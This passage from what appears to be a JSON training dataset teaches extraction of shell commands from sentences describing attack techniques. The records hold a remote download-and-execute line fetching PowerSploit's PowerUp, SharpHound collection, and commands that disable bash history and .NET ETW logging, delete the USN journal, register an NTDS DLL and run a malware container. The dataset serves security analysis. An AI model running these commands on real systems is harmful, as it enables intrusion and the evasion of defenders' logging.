characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To manage the update sequence number (USN) change journal and delete it for the C: drive, use the following command: fsutil usn deletejournal /D C:\\",
    "output": "{\"command_list\": [\"fsutil usn deletejournal /D C:\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For reconnaissance in an Active Directory environment, ransomware actors have been known to use AdFind tool with the following command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -f (objectcategory=organizationalUnit) #{optional_args}",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" -f (objectcategory=organizationalUnit) #{optional_args}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The registry key will be modified to point to a specified DLL path upon execution of this command: New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS -Name LsaDbExtPt -Value \"#{dll_path}\"",
    "output": "{\"command_list\": [\"New-ItemProperty -Path HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\NTDS -Name LsaDbExtPt -Value \\\"#{dll_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Disable bash history logging for both the current and future sessions by executing this command: set +o history\necho 'set +o history' >> ~/.bashrc\n. ~/.bashrc\nhistory -c\n",
    "output": "{\"command_list\": [\"set +o history\\necho 'set +o history' >> ~/.bashrc\\n. ~/.bashrc\\nhistory -c\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The ownership of a file or folder can be changed recursively with the command: chown -R #{owner} #{file_or_folder}",
    "output": "{\"command_list\": [\"chown -R #{owner} #{file_or_folder}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable ETW for the .NET Framework, you can set the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry by executing this PowerShell command: New-ItemProperty -Path HKCU:\\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType \"String\" -Force. Note that a logout may be required for the changes to take effect.",
    "output": "{\"command_list\": [\"New-ItemProperty -Path HKCU:\\\\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType \\\"String\\\" -Force\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The CHM file can be decompiled to disk by executing this hh.exe command: hh.exe -decompile %temp% \"#{local_chm_file}\"",
    "output": "{\"command_list\": [\"hh.exe -decompile %temp% \\\"#{local_chm_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker may utilize the Docker build API to create a custom image containing malware, then deploy it using these commands: docker build -t t1612  $PathtoAtomicsFolder/T1612/src/\ndocker run --name t1612_container --rm -d -t t1612\ndocker exec t1612_container ./test.sh",
    "output": "{\"command_list\": [\"docker build -t t1612  $PathtoAtomicsFolder/T1612/src/\\ndocker run --name t1612_container --rm -d -t t1612\\ndocker exec t1612_container ./test.sh\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required 